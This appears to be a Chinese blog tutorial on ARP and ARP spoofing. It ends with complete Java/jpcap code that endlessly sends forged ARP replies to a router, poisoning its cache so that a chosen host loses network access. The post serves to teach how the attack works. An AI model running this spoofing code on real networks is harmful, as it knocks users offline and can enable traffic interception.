基于JAVA的ARP欺骗的程序实现

在实现ARP欺骗之前,我们必须知道什么是ARP。
在局域网当中,当主机或其它网络设备有数据要发送给另一个主机或设备时,它必须要知道对方的IP地址,但仅仅有IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理网络发送,因此发送站还必须有接收站的物理地址,所以需要一个从IP地址到物理地址的映射。ARP就是实现这个功能的协议。
我们通过一个简单的例子来解释一下ARP在局域网中的运作。
1.假设现在有一个主机A和一个主机B,二者处在同一个局域网当中。当主机A需要和主机B进行数据通信的时候,主机A会在自己的ARP缓存中查找是否有与主机B对应的ARP表项。

   2.如果A在自己的ARP缓存当中找到了与主机B对应的ARP表,主机A直接利用ARP表中的MAC地址将IP数据包进行帧封装,将数据包发送给主机B。

   3.如果A在自己的ARP缓存中没有找到与主机B对应的ARP表,则主机A将以广播的方式发送一个ARP请求,该请求中包含了主机A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同时包含了主机B的IP地址(目标IP地址)。由于请求是以广播的形式发送的,所以处于该局域网的所有主机都能够检测到该ARP请求,但是只有和ARP请求中目标IP地址相同的主机才能够收到ARP请求,其余的主机都会讲该ARP请求抛弃。主机B收到由A发送的ARP请求后,会向主机A以单播的形式发送一个ARP回复,该回复中包含了主机B的IP地址(源IP地址),主机B的MAC地址(源MAC地址),主机A的IP地址(目标IP地址),主机A的MAC地址(目标MAC地址)。同时会将主机A的IP地址和MAC地址写入自己的ARP缓存当中。
   4.主机A收到来自主机B的ARP的回复后,将ARP回复中的主机B的IP地址和MAC地址添加到自己的ARP缓存当中。这样主机A便能和主机B进行通信了。
   在对ARP的工作过程进行剖析后,我们就能够对ARP欺骗进行讲解了。
   ARP欺骗分为两种,一种是针对路由器进行欺骗,使路由器的ARP缓存中建立错误的IP与MAC地址映射表,结果就是从路由器发送的数据都发给了一个错误的MAC地址,造成主机无法正常接收信息。另一种是对主机中的ARP缓存进行欺骗,伪造主机路由器IP和MAC地址映射表,使主机发送的数据都发送到伪造后的MAC地址对应的主机上,这种情况不仅会使主机不能正常上网,而且还能用来窃取信息。
   我们用程序实现第一种ARP欺骗,并对第一种欺骗方式进行举例。

   假设现在主机A和主机B通过路由器C连接在同一个局域网内,主机A是欺骗方,主机B是被欺骗方。主机A在自己的ARP缓存中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主机B的IP地址IP_B。接下来,主机A自己生成一个ARP回复,该回复的源IP并不是主机A的IP地址,而是冒充主机B的IP地址IP_B,同时编造一个不存在的MAC地址作为回复的源MAC地址,目标IP是IP_C,目标MAC地址是MAC_C。这个ARP回复以单播的形式发送给路由器C之后,路由器并不会验证回复的真实性,而是会把IP_B和一个不存在的MAC地址写入自己的ARP缓存,此时,所有通过路由器发送给主机B的数据,都会因为找不到目标而发送失败。

   总结一下:主机A冒充主机B不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给B的数据无法到达目的地,从而致使主机B无法正常上网。

   接下来,我们用Java程序来实现这个欺骗过程。注意:JAVA自身是没有办法对数据链路层进行相关操作的,而ARP包的发送处于数据链路层。我们必须借助WinPcap来实现对数据链路层的相关操作,同时需要jpcap来作为沟通JAVA和WinPcap的媒介。所以应该提前安装WinPcap和jpcap。

   需要补充解释一点:我们会在程序当中伪造一个ARP回复,这里必须了解ARP报文的结构。报文结构如下:

  

   上图详细的说明了报文的构成,我们在生成ARP回复时,是通过jpcap提供的类ARPPacket来生成的,必须要把ARP中的每一个数据填充清楚,否则就会发送不成功。

代码如下:

import java.net.InetAddress;    
import jpcap.JpcapCaptor;    
import jpcap.JpcapSender;    
import jpcap.NetworkInterface;    
import jpcap.packet.ARPPacket;    
import jpcap.packet.EthernetPacket;    
    
public class Test{    
    static byte[] stomac(String s) {    
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };    
        String[] s1 = s.split("-");    
        for (int x = 0; x < s1.length; x++) {    
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);    
        }    
        return mac;    
    }    
    public static void main(String[] args) throws Exception {    
        InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址    
        byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺骗的目标目标MAC数组    
        InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址    
        byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组    
        // 枚举网卡并打开设备    
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备  
        NetworkInterface device = devices[2];  //选择网卡设备  
        JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备  
        // 设置ARP包    
        ARPPacket arp = new ARPPacket();    
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬件类型  
        arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型  
        arp.operation = ARPPacket.ARP_REPLY;      //操作类型 REPLY 表示类型为应答  
        arp.hlen = 6;  //硬件地址长度  
        arp.plen = 4;  //协议类型长度  
        arp.sender_hardaddr = srcmac;  //发送端MAC地址  
        arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址    
        arp.target_hardaddr = desmac;  //目标硬件地址  
        arp.target_protoaddr = desip.getAddress(); //目标IP地址  
        // 定义以太网首部  
        EthernetPacket ether = new EthernetPacket();    
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧  
        ether.src_mac = srcmac;  //源MAC地址  
        ether.dst_mac = desmac;  //目标MAC地址  
        arp.datalink = ether;  //添加  
        // 发送ARP应答包    
        while (true) {    
            System.out.println("sending arp..");    
            sender.sendPacket(arp);    
            Thread.sleep(10);    
        }    
    }    
}  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值